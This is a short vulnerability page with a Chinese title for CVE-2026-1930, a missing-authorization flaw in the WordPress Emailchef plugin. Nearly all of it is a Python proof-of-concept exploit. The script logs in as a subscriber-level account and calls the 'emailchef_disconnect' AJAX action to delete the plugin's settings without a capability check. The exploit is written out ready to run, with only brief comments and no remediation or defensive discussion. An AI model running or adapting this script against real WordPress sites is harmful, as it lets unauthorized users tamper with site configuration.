CVE-2026-1930 WordPress Emailchef插件权限缺失漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-1930: WordPress Emailchef Plugin Missing Authorization import requests target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" # 1. Login to get cookies and nonce login_url = "http://example.com/wp-login.php" session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "http://example.com/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # 2. Exploit the vulnerability via AJAX action # The vulnerability lies in the 'emailchef_disconnect' action # which lacks a capability check. payload_data = { "action": "emailchef_disconnect" } response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Request sent successfully. Check if settings were deleted.") print("[+] Response:", response.text) else: print("[-] Failed to send request.")